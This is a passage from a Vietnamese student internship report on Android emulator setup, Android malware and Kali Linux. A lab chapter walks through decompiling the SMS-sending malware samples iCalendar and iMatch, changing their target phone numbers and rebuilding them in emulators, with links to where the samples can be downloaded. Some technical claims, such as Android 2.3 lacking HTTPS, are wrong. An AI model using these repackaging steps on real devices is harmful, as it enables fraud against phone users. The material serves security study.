của Android với nhiều cải tiến về mặt công nghệ cung như tính năng. Đặc biệt
phiên bản này là sự hợp nhất cho hệ điều hành smartphone và máy tính bảng.

- Android 5 (API mức độ 20): phát hành tháng 7 năm 2014 là phiên bản cho
nhà phát triển.

SVTH: Nguyễn Đức Thái Trang 5


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Theo sự kiên GOOGLE I/O năm 2013 đã thống kê rằng thị phần của hai nền
tảng Android 2.3 va Android 4.x vẫn được ưa chuộng nhất (38.5% và 33.0%) vì
thế tiếp theo chúng ta chủ yếu tìm hiểu 2 phiên bản này.

SVTH: Nguyễn Đức Thái Trang 6


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

CHƯƠNG 2: CÀI ĐẶT VÀ NGHIÊN CỨU HỆ ĐIỀU HÀNH


ANDROID TRÊN MÔI TRƯỜNG GIẢ LẬP.
2.1. Cài đặt hệ điều hành Android 2.3 và 4.x trên môi trường giả lâp.
2.1.1. Cài đặt Java SE trên máy tính.

Để cài đặt Android trên môi trường giả lập trước tiên cần cài đặt môi trường
Java For Developers để chạy được Eclipse và Android SDK. Ở đây mình sử dụng hệ
điều hành Windows 8 64-bit (các phiên bản Windows khác đều tương tự). Đầu tiên
bạn cần dowload bộ cài đặt Java SE tại link sau
http://www.oracle.com/technetwork/java/javase/downloads/index.html

Hình 2.1: Download Java SE.

Chọn Jaca Platform (JDK) 8u5 để chuyển sang trang tiếp theo.

Hình 2.2: Chọn phiên bản Java.

Chọn phiên bản thích hợp với hệ điều hành để tải về. Ở đây mình chọn bản
cho Windows 64-bit.

SVTH: Nguyễn Đức Thái Trang 7


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Chạy bộ cài đặt vừa được tải về ta được như hình sau

Hình 2.3: Cài đặt Java.

Chọn Next để tiếp tục

Hình 2.4: Cài đặt Java tiếp.

Tiếp tục chọn Next để cài đặt và đợi tiến trình hoàn tất.

SVTH: Nguyễn Đức Thái Trang 8


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Sau khi cài xong, các bạn kiểm tra lại bộ JDK đã được cài đặt thành công
bằng cách vào cmd gõ lệnh “java”. Nếu màn hình hiện ra như sau thì bạn đã cài
đặt thành công:

Hình 2.5: Kiểm tra Java đã được cài đặt.

2.1.2. Cài đặt Eclipse và Android SDK

Trước tiên download bộ ADT Bundle for Windows gồm Eclipse và Android
SDK được tích hợp sẵn tại địa chỉ: http://developer.android.com/sdk/index.html

SVTH: Nguyễn Đức Thái Trang 9


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 2.6: Download Android SDK.

Chọn dowload để sang trang tiếp theo

Hình 2.7: Chọn phiên bản Android SDK.

Chọn phiên bản thích hợp va tiến hành dowload (như hình). Sau khi tải xong
tiến hành giải nén ta được các file như hình:

Hình 2.8: Giải nén file Android SDK tải về.

Để cài đặt Android SDK các bạn có 2 cách:

- Cách 1: Các bạn click chuột vào biểu tượng SDK Manager ở ngoài và
tiến hành cài đặt.

- Cách 2: Các bạn khởi chạy Eclipse lên. Rồi vào mục Android SDK
Manager

SVTH: Nguyễn Đức Thái Trang 10


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 2.9: Khởi động Android SDK Manager.

Sẽ xuất hiện 1 cửa sổ mới như sau:

Hình 2.10: Chọn và cài đặt các gói API cần thiết.

Công việc tiếp theo là các bạn chỉ cần tích chọn các phần API cần cài rồi
click vào nút Install packages ở góc dưới bên phải và chờ cho nó download và cài
đặt là xong.

2.1.3. Tạo máy AVD (Android Virtual Device).

Sau khi khởi chạy xong Eclipse. Bạn vào: Windows -> Android Virtual
Device Manager.

Hoặc các bạn cũng có thể click ngay vào biểu tượng AVD trên menu
của Eclipse:

SVTH: Nguyễn Đức Thái Trang 11


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 2.11: Khởi động Android Virtual Device Manager.

Click vào New để tạo mới:

Hình 2.12: Tạo mới máy ảo Android.

Cửa sổ mới mở ra, các bạn điền đầy đủ các thông số vào theo yêu cầu:

SVTH: Nguyễn Đức Thái Trang 12


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 2.13: Thông số cho máy ao Android.

- AVD Name: Các bạn chỉ được sử dụng cách ký tự: A -> Z, a -> z, và “.,
-, _” mà thôi.
- Target: Bạn chọn phiên bản Android để test.
- SD Card: Là dung lượng bộ nhớ ảo của thẻ SD.

Và một số thông tin khác…

Các bạn click OK để hoàn thành tạo mới một AVD.

Bây giờ bạn vào phần Android Virtual Device Manager như ban đầu thì
bạn sẽ thấy tên máy ảo mới mình vừa tạo rồi.

Nhấn Start để khởi chạy máy ảo (bạn có thể sẽ phải chờ một khoảng thời
gian để máy ảo khởi chạy):

SVTH: Nguyễn Đức Thái Trang 13


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 2.14: Khởi động máy ảo Android.

Và đây là giao diện cuối cùng:

Hình 2.15: Máy ảo Android khởi động hoàn tất.

Thực hiện tương tự để tạo Android phiên bản 4.x.

SVTH: Nguyễn Đức Thái Trang 14


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

2.2. So sánh sự khác nhau giữa hai phiên bản Android 2.3 và 4.x.
2.2.1. Sự khác nhau về yêu cầu phần cứng cần thiết để cài đặt.

Android 2.3 Android 4x

Cần ít nhất 128 MB bộ nhớ có sẵn cho Cần ít nhất 340 MB bộ nhớ có sẵn cho
Kernel và cho không gian người sử dụng kernel và cho không gian người sử dụng

Dung lượng Ram tối thiểu cần thiết là Dung lượng Ram tối thiểu cần thiết là
150MB 350 MB

Màn hình: Màn hình:

- Màn hình phải có kích cỡ ít nhất - Màn hình phải có kích cỡ ít nhất
2,5 inch 426x320
- Mật độ phải được ít nhất 100 dpi - Mật độ phải được ít nhất 100 dpi
- Tỉ lệ màn hình từ 1.333 (4:3) đến - Tỉ lệ màn hình từ 1.333 (4:3) đến
1,779 (16:9) 1,85 (16:9)
- Công nghệ màn hình được sử
dụng là công nghệ “ Square pixels”

Yêu cầu có các phím vậy lý Không yêu cầu có có phím vật lý

Các API Android bao gồm trình quản Các API Android bao gồm trình quản
lý download các ứng dụng có thể sử lý download các ứng dụng có thể sử
dụng để tải dữ liệu.Trình quản lí dụng để tải dữ liệu.Trình quản lí
download phải có khả năng tải tập tin có download phải có khả năng tải tập tin có
dung lượng ít nhất 55 MB dung lượng ít nhất 100 MB

Bảng 2.1: Khác nhau về yêu cầu phần cứng.

2.2.2. Sự khác nhau về giao diện.

Giao diện người dùng của Android dựa trên nguyên tắc tác động trực tiếp, sử
dụng cảm ứng chạm tương tự như những động tác ngoài đời thực như vuốt, chạm,
kéo dãn và thu lại để xử lý các đối tượng trên màn hình. Sự phản ứng với tác động
của người dùng diễn ra gần như ngay lập tức, nhằm tạo ra giao diện cảm ứng mượt
mà, thường dùng tính năng rung của thiết bị để tạo phản hồi rung cho người dùng.
Những thiết bị phần cứng bên trong như gia tốc kế, con quay hồi chuyển và cảm
biến khoảng cách được một số ứng dụng sử dụng để phản hồi một số hành động

SVTH: Nguyễn Đức Thái Trang 15


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

khác của người dùng, ví dụ như điều chỉnh màn hình từ chế độ hiển thị dọc sang chế
độ hiển thị ngang tùy theo vị trí của thiết bị, hoặc cho phép người dùng lái xe đua
bằng xoay thiết bị, giống như Các thiết bị Android sau khi khởi động sẽ hiển thị
màn hình chính, điểm khởi đầu với các thông tin chính trên thiết bị, tương tự
như khái niệm desktop (bàn làm việc) trên máy tính để bàn. Màn hính chính
Android thường gồm nhiều biểu tượng (icon) và tiện ích (widget); biểu tượng ứng
dụng sẽ mở ứng dụng tương ứng, còn tiện ích hiển thị những nội dung sống động,
cập nhật tự động như dự báo thời tiết, hộp thư của người dùng, hoặc những mẩu
tin thời sự ngay trên màn hình chính. Màn hình chính có thể gồm nhiều trang xem
được bằng cách vuốt ra trước hoặc sau, mặc dù giao diện màn hình chính của
Android có thể tùy chỉnh ở mức cao, cho phép người dùng tự do sắp đặt hình dáng
cũng như hành vi của thiết bị theo sở thích.

Những ứng dụng do các hãng thứ ba có trên Google Play và các kho ứng
dụng khác còn cho phép người dùng thay đổi "chủ đề" của màn hình chính, thậm
chí bắt chước hình dáng của hệ điều hành khác như Windows Phone chẳng hạn.
Phần lớn những nhà sản xuất, và một số nhà mạng, thực hiện thay đổi hình dáng và
hành vi của các thiết bị Android của họ để phân biệt với các hãng cạnh tranh. Ở phía
trên cùng màn hình là thanh trạng thái, hiển thị thông tin về thiết bị và tình trạng
kết nối. Thanh trạng thái này có thể "kéo" xuống để xem màn hình thông báo
gồm thông tin quan trọng hoặc cập nhật của các ứng dụng, như email hay tin nhắn
SMS mới nhận, mà không làm gián đoạn hoặc khiến người dùng cảm thấy bất tiện.
Trong các phiên bản đời đầu, người dùng có thể nhấn vào thông báo để mở ra ứng
dụng tương ứng, về sau này các thông tin cập nhật được bổ sung theo tính năng,
như có khả năng lập tức gọi ngược lại khi có cuộc gọi nhỡ mà không cần phải mở
ứng dụng gọi điện ra. Thông báo sẽ luôn nằm đó cho đến khi người dùng đã đọc hoặc
xóa nó đi.

Android 2.3 Android 4x

Giao diện đơn giản Giao diện tinh tế hơn, trong suốt và
đẹp mắt hơn

Chỉ hỗ trợ phím ảo là phím Home Hỗ trợ các phím ảo: Home, Back,
Zoom

Không có widget menu Có Widget menu giúp tìm nhanh thông


tin mà không cần mở ứng dụng

Bảng 2.2: Khác nhau về giao diện.

SVTH: Nguyễn Đức Thái Trang 16


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

2.2.3. Sự khác nhau về tính năng.

Android 2.3 Android 4x

Thiết kế tối ưu hóa cho Smartphone Thiết kế tối ưu hóa cho Smartphone và
Tablet

Chỉ có thể xóa tất các các thông báo Chỉ có thể xóa riêng rẽ các thông báo
cùng lúc trên trình quản lý cùng lúc trên trình quản lý

Chỉ có thể trả lời, ngắt cuộc gọi khi Có thể thực hiện thêm 1 số tính năng
màn hình bị khóa khi màn hình bị khoái ngoài trả lời , ngắt
cuộc gọi như gửi tin nhắn

Không có tính năng mở khóa màn hình Có tính năng mở khóa màn hình nhận
nhận diện khuôn mặt diện khuôn mặt

Không hỗ trợ chỉnh sửa hình ảnh Hỗ trợ chỉnh sửa hình ảnh , tự động
nhận diện được tất cả các camera trên
thiết bị

Bảng 2.3: Khác nhau về tính năng.

2.2.4. Sự khác nhau về giao thức mạng.

Android 2.3 Android 4x

Không hỗ trợ giao thức https Hỗ trợ giao thức https

Bảng 2.4: Khác nhau về giao thức mạng.

SVTH: Nguyễn Đức Thái Trang 17


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

CHƯƠNG 3: MÃ ĐỘC TRÊN ANDROID.


3.1. Định nghĩa.
Mã độc là một đoạn code được đưa vào phần mềm nhằm thay đổi các thực
thi của hệ điều hành hoặc các chương trình bảo vệ máy tính mà không cần sự cho
phép của người sử dụng. Bằng cách này, phần mềm có chứa mã độc sẽ:

- Phá hoại hệ thống máy tính như xóa, sửa, làm hỏng file, dữ liệu….
- Phát tán thư rác.
- Lợi dụng máy tính của bạn làm công cụ tấn công các hệ thống mạng máy
tính khác.
- Đánh cắp thông tin: thông tin về địa chỉ mail, thông tin cá nhân, tài khoản
ngân hàng, thẻ tín dụng,….

3.2. Mã độc trong môi trường Android.


3.2.1. Android là một môi trường lý tưởng cho mã độc phát triển.

Phần lớn các smartphone đều hỗ trợ các ứng dụng email, internet baking…Sử
dụng các ứng dụng này đồng nghĩa với việc cung cấp thông tin cá nhân.

Android hiện tại giữ vị trí số một trong các hệ điều hành dành cho smartphone
và máy tính bảng.

Android là một hệ điều hành mã nguồn mở.

3.2.2. Phân loại mã độc Android.

Có nhiều cách phân loại khac nhau như: Troy Vennon dựa vào cách hoạt
động lây nhiễm của mã độc đã chia ra làm bốn loại, K.H.Khan & M.N.Tahir phân
loai mã độc làm 6 nhóm. Theo trang web forenics chuyên nghiên cứu về mã độc
dựa vào mục tiêu của mã độc để chia ra làm 9 họ:

51,3%
Đánh cấp thông tin cá nhân
30,1%
Gửi tin nhắn trái phép (IMEL,..)
23,5%
Botnet(spam, thư rác,..)
18,3%
Truy cập Root
11,3%
Tải từ Google-Play
10,4%
Cài đặt các ứng dụng khác
8,7%
Đánh cấp định vị của người dùng

SVTH: Nguyễn Đức Thái Trang 18


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

7,8%
Cài đặt các ứng dụng hỗ trợ hacker
3,5%
Trojans (tiếp cận các dịch vụ ngân hàng trực tiếp)
Bảng 3.1: Phân loại mã độc Android.

3.3. Thực trạng


Theo thống kê được thực hiện dựa trên số liệu từ hệ thống giám sát virus của
Bkav, chỉ trong năm tháng đầu năm 2014, phần mềm bảo vệ smartphone Bkav
Mobile Security đã cập nhật 621.000 mã độc mới xuất hiện, vượt xa số lượng 528.000
của cả năm 2013. Đặc biệt, mỗi ngày có 262.000 điện thoại bị nhiễm loại mã độc gửi
tin nhắn SMS đến đầu số tính phí. “Đây là các đầu số thu phí 15.000 đồng/tin nhắn,
tính ra mỗi ngày người sử dụng VN bị “móc túi” số tiền khổng lồ lên tới hơn 3,9 tỉ
đồng”, báo cáo của Bkav kết luận. Thực tế, số tiền các loại virus “móc túi” người
dùng smartphone có thể hơn gấp nhiều lần vì có rất nhiều điện thoại bị nhiễm virút
trong một thời gian dài nhưng chủ nhân không nhận biết và cũng không có biện pháp
kiểm tra, theo dõi.

Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã
độc trên Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số
lượng mã độc mới được phát hiện trong quý I năm 2013 được thiết kế để nhắm
đến nền tảng Android. Đây là một con số báo động về tình trạng mã độc trên nền
tảng di động của Google vừa được hãng bảo mật Kaspersky Lab công bố.

Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus
chủ yếu để sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi
đến họ những tin nhắn lừa đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến
nơi khác, ăn cắp thông tin như là mật khẩu và số thẻ tín dụng, cài đặt lén các phần
mềm chưa được cho phép, ….. Loại mã độc này chiếm đến 63% tổng số các loại
mã độc mới được phát tán trên Android trong quý I năm 2013.

Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về
số lượng các mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu
năm 2013, Kaspersky đã phát hiện được số lượng mã độc mới trên các nền tảng di
động bằng tổng số lượng mã độc được phát hiện trong cả năm 2012 mà Android
là nền tảng chịu ảnh hưởng nặng nhất.

Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát
tán các loại mã độc, có vẻ như Android đang dần trở thành một “Windows thứ 2”
trên lĩnh vực bảo mật, khi sự phổ biến của nền tảng này đang thu hút tối đa sự chú
ý của các tin tặc, đồng thời việc quản lý các ứng dụng cho Android một cách lỏng
lẻo càng tạo điều kiện cho mã độc được phát tán dễ dàng hơn trên nền tảng di động
này.

SVTH: Nguyễn Đức Thái Trang 19


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo
mật trong quý 1/2013 của Kaspersky cũng cho biết 91% các vụ phát tán mã độc
chủ yếu dựa vào việc phát tán các đường link trang web có chứa mã độc. Các
đường link có chứa mã độc này chủ yếu được phát tán thông qua email và trên các
mạng xã hội như Facebook, Twitter… Đây được xem là biện pháp được yêu thích
nhất hiện nay của hacker.

Con số cụ thể các loại mã độc (bao gồm cả trên nền tảng di động và các nền
tảng khác) đã được Kaspersky phát hiện và vô hiệu hóa trong quý I năm 2013 là
1.345.570..352 mã độc (hơn 1 tỉ mã độc). Trong đó có hơn 60% các loại mã độc
phát tán từ 3 quốc giá: Mĩ (25%), Nga (19%) và Hà Lan (14%).

3.4. Malware – tiêu biểu của mã độc trên Android.


Đã không chỉ là mối lo ngại với người sử dụng máy tính, hiện nay Malware đã
và đang tấn công mạnh mẽ đến các hệ điều hành dành cho smartphone, đặc biệt là
Android.

Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một
phần mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy
tính mà người sử dụng không hề hay biết. Người viết nên nó ban đầu chỉ tập trung
vào máy tính, nhất là Windows khi nó chiếm đến 90% tổng số Malware xuất hiện
trên các nền tảng, bên cạnh đó là các OS khác như Linux, Chrome OS, MacOs...
nhưng không đáng kể. Tuy nhiên giờ đây khi smartphone đang ngày càng phát
triển và phổ biến dần thay thế máy tính từ các công việc soạn thảo văn bản, giải trí
đến giao dịch ngân hàng thì nó trở thành mục tiêu tấn công của Malware.

Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện
nay mới chỉ dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và
nó chưa có cơ chế lây lan. Theo các kết quả trên thì Malware trên Smartphone hiện
nay về cách thức hoạt động giống như một phần mềm gián điệp (Trojan), phần lớn
nhắm vào dịch vụ Mobile Banking trên Smartphone để lấy cắp thông tin, các thao
tác xác nhận... thông qua việc sử dụng SMS Spy, tức là theo dõi tin nhắn SMS khi
bạn thực hiện giao dịch với ngân hàng. Bên cạnh đó là nhằm vào các cuộc gọi thực
hiện trên máy bạn, tắt một số dịch vụ để dễ kiểm soát.

3.5. Cơ chế hoạt động của Malware.


Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó
là Malware DroidDream. Malware này hoạt động qua 2 giai đoạn:

- Giai đoạn 1: DroidDream được nhúng vào trong một ứng dụng (số lượng
ứng dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được
quyền root vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử
dụng đầu tiên.

SVTH: Nguyễn Đức Thái Trang 20


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

- Giai đoạn 2: Tự động cài đặt một ứng dụng thứ 2 với một permission đặc
biệt cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể
gửi các thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng
dụng khác Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi
và âm thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như
một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người
dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.

Không giống như giai đoạn 1, người dùng phải khởi động ứng dụng để bắt
đầu việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là
confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động
lúc nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công
việc của mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là
khoảng thời gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm
cho người dùng khó khăn hơn trong việc phát hiện một hành vi bất thường trên
chiếc smartphone của mình.

3.6. Mục đích của Malware DroidDream


DroidDream được coi là một trong những Malware đầu tiên trên Android,
mục đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện
thoại của người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy
nhiên các biến thể của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn
rất nhiều. Ví dụ như Hippo SMS được tìm thấy mới đây có khả năng tự gửi tin
nhắn mà không cần sự cho phép của người dùng, việc này sẽ khiến tiền cước phí
của người dùng tăng lên một cách chóng mặt mà người dùng không biết rõ lí do
tại sao. Hoặc một Malware khác là Zitmo, Malware này đưa ra các ứng dụng kích
hoạt mọi hành động liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi đến và
chuyển tới máy chủ. Các đoạn code dùng 1 lần mà các ngân hàng thường gửi tới
khách hàng thông qua tin nhắn SMS để chứng thực sẽ bị thu thập bởi các malware
này.

Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc
điện thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng
ta đang bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang
thực sự đe dọa đến an sự an toàn của người dùng hệ điều hành này.

3.7. Cơ chế bảo mật trong Android.


3.7.1. Tính bảo mật trong Android

- Các ứng dụng android được tách biệt với nhau trong quá trình thực thi.
- Các ứng dụng android được phân biệt bởi system ID.
- Các ứng dụng android phải được signing mới có thể cài đặt vào hệ thồng.
- Bảo mật trong android được thể hiện qua cơ chế “Permission”

SVTH: Nguyễn Đức Thái Trang 21


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

3.7.2. Cơ chế Permission:

Bất cứ những tác vụ nào gây ảnh hưởng cho các ứng dụng khác, hệ điều hành
và người sử dụng thiết bị đều đươc bảo vệ bởi cơ chế Permission, ví dụ như đọc
gửi tin nhắn, truy cập mạng, thực hiện cuộc gọi, truy cập vào thông tin cá
nhân,..Nói cách khác người lập trinh ứng dụng sẽ khai báo Permission cho những
nguông tài nguyên này sẽ được thông báo đến người dùng trước khi cài đặt ứng
dụng.

3.7.3 Google Play:

Kiểm soát các mã độc trên ứng dụng.

SVTH: Nguyễn Đức Thái Trang 22


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

CHƯƠNG 4: CÀI ĐẶT MỘT SỐ CHƯƠNG TRÌNH CÓ MÃ


ĐỘC TRÊN ANDROID.
4.1. iCalendar
iCalendar là 1 chương trình dạng lịch xuất xứ từ Trung Quốc có gắn kèm mã độc
thực hiện gửi 1 tin nhắn đến 1 số điện thoại định trước mà không thông qua sự cho
phép của người dùng.

4.1.1. Các công cụ cần thiết:

- Super Apk tool: https://code.google.com/p/super-apk-tool/


- File iCalendar.apk: http://securityxploded.com/demystifying-android-
malware.php
- Hai máy ảo Android (xem hướng dẫn tạo máy ảo ở trên).

4.1.2. Các bước thực hiện:

Khởi động cả 2 máy ảo Android. Ở đây gồm 2 máy Android01 mã số 5554


dùng làm máy cài iCalendar và Android02 mã số 5556 dùng làm máy nhận tin
nhắn trái phép từ máy Android01.
Dùng Winrar giải nén tập tin Super Apk tool vừa download về vào thư mục
bất kỳ ta được như hình:

Hình 4.1: Folder Super Apk Tool.

Chọn và khởi động phiên bản phù hợp với hệ điều hành.

SVTH: Nguyễn Đức Thái Trang 23


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 4.2: Super Apk Tool.

Tại màn hình chính của Super Apk Tool chọn Project -> New Project

Hình 4.3: Mở file iCalendar.apk

Tại cửa sổ hiện ra tìm đến thư mục lưu trữ file iCalendar.apk và mở ra. Đặt
tên cho project tại mục Project Name (có thể để mặc định) -> chọn Ok để xác

SVTH: Nguyễn Đức Thái Trang 24


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

nhận. Đợi chương trình giải mà ngược xong ta được như hình. Vào View -> View
Smali Code.

Hình 4.4: View Smali Code.

Tại đây vào tiếp theo đường dẫn .\com\mj\iCalendar ta được

Hình 4.5: Thư mục iCalendar.

Mở file iCalendar.smali và file SmsReceiver.smali bằng Notepad hoặc


Notepad++ và thực hiện như hình bên dưới sau đó lưu lại.

SVTH: Nguyễn Đức Thái Trang 25


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 4.6: File iCalendar.smali.

Hình 4.7: File SmsReceiver.smali.

Trở lại màn hình chính của Super Apk Tool

SVTH: Nguyễn Đức Thái Trang 26


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 4.8: Build Projects.

Chọn máy Android dùng để cài đặt (Android01 có mã 5554) sau đó vào Run
=> Build (hoặc ấn F5). Chương trình sẽ tự động đóng gói project thành file apk,
signing, cài đặt sau đó mở ứng dụng tại Android01. Ta được kết quả.

Hình 4.9: Cài đặt thành công iCalendar.

SVTH: Nguyễn Đức Thái Trang 27


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Tại đây ta ấn chọn 7 lần trong giao diện của iCalendar mã độc sẽ được kích
hoạt và gửi tin nhắn đến máy Android02.

Hình 4.10: Android02 nhận được tin nhắn từ iCalendar.

4.2. iMatch
Tương tự như iCalendar, iMatch cho phép gửi tinh nhắn trái phép khi mã độc bị
kích hoạt. Điểm khác nhau ở đây là iMatch là một ứng dụng game và mã độc có thể
gửi bốn tin nhắn cho 4 số điện thoại giống hoặc khác nhau.

4.2.1. Các công cụ cần thiết:

- Super Apk tool: https://code.google.com/p/super-apk-tool/


- iMatch: http://contagiodump.blogspot.com/2011/03/take-sample-leave-
sample-mobile-malware.html
- Hai máy ảo Android (xem hướng dẫn tạo máy ảo ở trên).

4.2.2. Các bước thực hiện:

Thực hiện tương tự như với iCalendar.apk nhưng thay thế bằng file
iMatch.apk. Tại bước View Smali Code ta vào tiếp theo đường dẫn .\com\mj\utils
ta được

SVTH: Nguyễn Đức Thái Trang 28


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 4.11: Thư mục untils.

Mở file MJUtils.smali bằng Notepad hoặc Notepad++ và thực hiện đổi số


điện thoại người nhận và nội dung tin nhắn tại bốn vị trí sau:

Hình 4.12: Nội dung tin nhắn 1.

Hình 4.13: Nội dung tin nhắn 2.

Hình 4.14: Nội dung tin nhắn 3.

Hình 4.15: Nội dung tin nhắn 4.

Sau khi lưu lại ta built và nhận được kết quả

SVTH: Nguyễn Đức Thái Trang 29


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 4.16: Kết quả chạy chương trình iMatch.

Ta thấy khi ứng dụng iMatch tai máy Android01 được khởi động thì có bốn
tin nhắn được gửi đến máy Android02 (vì ở đây thiết đặt bốn số điện thoại đến
giống nhau là máy Android02).

SVTH: Nguyễn Đức Thái Trang 30


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

CHƯƠNG 5: NGHIÊM CỨU KALI LINUX, CƠ CHẾ TẠO


MÃ ĐỘC TRÊN KALINIX ĐỂ XÂM NHẬP VÀO
ANDROID.
5.1. Tổng quan.
Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết
kế để kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân
của Kali Linux là BackTrack, xuất hiện năm 2006 và được các chuyên gia đánh
giá bảo mật ưa chuộng sử dụng. Sau 7 năm liên tục phát triển, tháng 3 năm 2013,
hãng Offensive Security đã công bố phiên bản mới của BackTrack có thên là Kali
Linux (được xem như phiên bản BackTrack 6). Kali Linux tập hợp và phân loại
gần như tất cả các công cụ thiết yếu mà bất kì chuyên gia đánh giá bảo mật nào
cũng cần sử dụng khi tác nghiệp.

5.2. Cải tiến của Kali Linux so với Backtrack.


5.2.1. Kali phát triển trên nền tảng hệ điều hành Debian.

Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho
lưu trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ
dàng có được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository.
Duy trì cập nhật (up-to-date) đối với các công cụ Penetration Test là một yêu cầu
vô cùng quan trọng.

Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý
gói của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về
mặt cấu trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong
việc xem xét hoặc thay đổi mã nguồn của các công cụ.

5.2.2. Tính tương thích kiến trúc.

Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với
kiến trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra.
Giờ đây ta có thể build Kali trên một Raspberry Pi hoặc trên Samsung Galaxy
Note.

5.2.3. Hỗ trợ mạng không dây tốt hơn.

Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất,
chính là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng
không dây hay USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật
thực hiện đánh giá mạng không dây.

SVTH: Nguyễn Đức Thái Trang 31


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

5.2.4. Khả năng tùy biến cao.

Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống.
Đối với giao diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops
như GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng.

5.2.5. Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai.

Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì
hệ điều hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố
thì chúng ta đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3).

Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali
đã dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người
dùng không phải cài lại mới hoàn toàn nữa

5.3. Cài đặt Kali Linux.


5.3.1. Chuẩn bị.

- File iso Kali Linux: http://www.kali.org/downloads/

- Máy có cài sẵn Vmware.

5.3.2. Cài đặt.

Đầu tiên ta cần download Kali Linux tại link sau


http://www.kali.org/downloads/.

Chọn phiên bản phù hợp tiến hành download. Ở đây chọn phiên bản dành
cho windowns 32 bit download bằng link trực tiếp. Sau khi có file iso ta tiến hành
cài đặt Kali Linux trên máy ảo.

Khởi động VMwarre, ở góc phải trên màn hình chọn File => New Virtual
Machine....

SVTH: Nguyễn Đức Thái Trang 32


Báo cáo thực tập CBHD: Võ Đỗ Thắng.

Hình 5.1: Chon phương thức cái đặt.

Chọn Typical, nhấn Next để tiếp tục.

